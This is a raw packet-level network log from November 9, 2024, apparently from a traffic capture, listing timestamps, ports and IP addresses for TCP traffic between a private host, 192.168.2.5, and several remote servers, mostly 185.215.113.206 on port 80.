Nov 9, 2024 22:09:45.155627012 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.155682087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.155694962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.155718088 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.155791044 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.189328909 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.189388037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.189402103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.189415932 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.189446926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.189518929 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.189531088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.189568043 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.189623117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.189708948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.189758062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.189759016 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.189773083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.189805984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.189930916 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.189948082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.189969063 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.190028906 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.190181017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190361023 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190371990 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190403938 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.190459967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190471888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190486908 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190498114 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190505028 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.190531969 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.190749884 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190790892 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.190840006 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190912962 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.190920115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190951109 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190992117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.190999031 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.191032887 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.191132069 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.191144943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.191154957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.191195965 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.229950905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.229975939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.229988098 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.230003119 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.230029106 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.230053902 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.230209112 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.230221987 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.230232954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.230257034 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.230282068 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.230418921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.230431080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.230443001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.230454922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.230459929 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.230478048 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.230515003 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.230566978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.230578899 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.230609894 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.272471905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.272494078 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.272507906 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.272578001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.272578001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.274147987 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.274158001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.274230003 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.306473970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.306504011 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.306515932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.306535006 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.306555986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.306618929 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.306658030 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.306732893 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.306750059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.306765079 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.306770086 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.306776047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.306790113 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.306797981 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.306807995 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.307143927 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307158947 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307189941 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.307215929 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.307334900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307346106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307389021 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.307560921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307571888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307589054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307600975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307606936 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.307611942 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307626963 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.307652950 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.307934046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307945013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307955980 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.307970047 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.307986021 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.308146000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.308176994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.308188915 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.308197975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.308213949 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.308239937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.308397055 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.308413029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.308424950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.308489084 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.308562040 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.316235065 CET	443	49873	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.318248987 CET	49873	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.318288088 CET	443	49873	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.318751097 CET	49873	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.318754911 CET	443	49873	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.346698046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.346738100 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.346749067 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.346784115 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.346822023 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.346877098 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.346890926 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.346903086 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.346920013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.346937895 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.347109079 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.347148895 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.347212076 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.347224951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.347259998 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.347351074 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.347363949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.347389936 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.347543955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.347573042 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.347616911 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.363554955 CET	49882	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.363604069 CET	443	49882	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.363692045 CET	49882	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.363938093 CET	49883	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.363991976 CET	443	49883	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.364052057 CET	49883	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.364309072 CET	49884	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.364342928 CET	443	49884	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.364392042 CET	49884	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.364511967 CET	49882	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.364522934 CET	443	49882	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.364624977 CET	49883	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.364643097 CET	443	49883	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.364756107 CET	49884	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.364765882 CET	443	49884	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.389225960 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.389286041 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.389300108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.389311075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.389348030 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.389375925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.389414072 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.423970938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.424053907 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.424088955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.424099922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.424137115 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.424175978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.424189091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.424200058 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.424228907 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.424252987 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.425143957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425228119 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.425262928 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425276041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425301075 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.425314903 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.425442934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425456047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425496101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.425565958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425591946 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425604105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425630093 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.425642014 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.425879955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425890923 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425901890 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425913095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.425930977 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.425968885 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.426240921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.426253080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.426259995 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.426273108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.426289082 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.426315069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.426655054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.426667929 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.426678896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.426691055 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.426702976 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.426707029 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.426728010 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.426745892 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.444160938 CET	443	49873	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.444222927 CET	443	49873	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.444339037 CET	49873	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.444549084 CET	49873	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.444566965 CET	443	49873	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.444659948 CET	49873	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.444667101 CET	443	49873	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.445483923 CET	443	49874	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.446033001 CET	49874	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.446063995 CET	443	49874	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.446548939 CET	49874	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.446554899 CET	443	49874	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.448018074 CET	49885	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.448046923 CET	443	49885	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.448158979 CET	49885	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.448259115 CET	49885	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.448270082 CET	443	49885	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.451256990 CET	443	49872	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.451664925 CET	49872	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.451677084 CET	443	49872	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.452096939 CET	49872	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.452104092 CET	443	49872	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.463749886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.463785887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.463813066 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.463838100 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.463884115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.463896990 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.463932037 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.463990927 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.464027882 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.464067936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.464195013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.464205027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.464215040 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.464226961 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.464231968 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.464266062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.464418888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.464432001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.464442015 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.464489937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.468400002 CET	443	49875	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.468852997 CET	49875	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.468878984 CET	443	49875	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.469290972 CET	49875	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.469302893 CET	443	49875	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.506045103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.506103992 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.506113052 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.506191969 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.506200075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.506270885 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.532972097 CET	443	49876	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.533324957 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.533488035 CET	49876	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.533514023 CET	443	49876	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.533823967 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:45.533852100 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.533978939 CET	49876	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.533983946 CET	443	49876	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.534203053 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.534521103 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:45.534575939 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.534953117 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:45.535000086 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:45.535006046 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.540882111 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.540935040 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.540950060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.540961027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.540992022 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.541057110 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.541069031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.541107893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.541168928 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.541213989 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.541831017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.541879892 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.542103052 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.542167902 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.542669058 CET	443	49877	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.542876005 CET	49877	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:45.542884111 CET	443	49877	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.543204069 CET	443	49877	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.543493032 CET	49877	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:45.543541908 CET	443	49877	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.543804884 CET	49877	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:45.579965115 CET	443	49872	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.580032110 CET	443	49872	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.580094099 CET	49872	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.580270052 CET	49872	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.580287933 CET	443	49872	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.580297947 CET	49872	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.580305099 CET	443	49872	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.580348969 CET	443	49874	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.580414057 CET	443	49874	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.580483913 CET	49874	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.582029104 CET	443	49878	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.586141109 CET	49874	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.586147070 CET	443	49874	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.586178064 CET	49874	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.586182117 CET	443	49874	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.586997986 CET	49878	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:45.587016106 CET	443	49878	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.587483883 CET	443	49878	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.591335058 CET	443	49877	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.591645002 CET	49886	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.591676950 CET	443	49886	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.591744900 CET	49886	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.591869116 CET	49878	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:45.591974020 CET	443	49878	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.593012094 CET	49878	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:45.593476057 CET	49886	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.593491077 CET	443	49886	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.593525887 CET	49887	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.593553066 CET	443	49887	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.593708038 CET	49887	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.593811989 CET	49887	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.593835115 CET	443	49887	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.594814062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.599730015 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.600533009 CET	443	49875	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.600543022 CET	443	49875	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.600594997 CET	49875	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.600600958 CET	443	49875	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.600646019 CET	49875	443	192.168.2.5	13.107.246.45
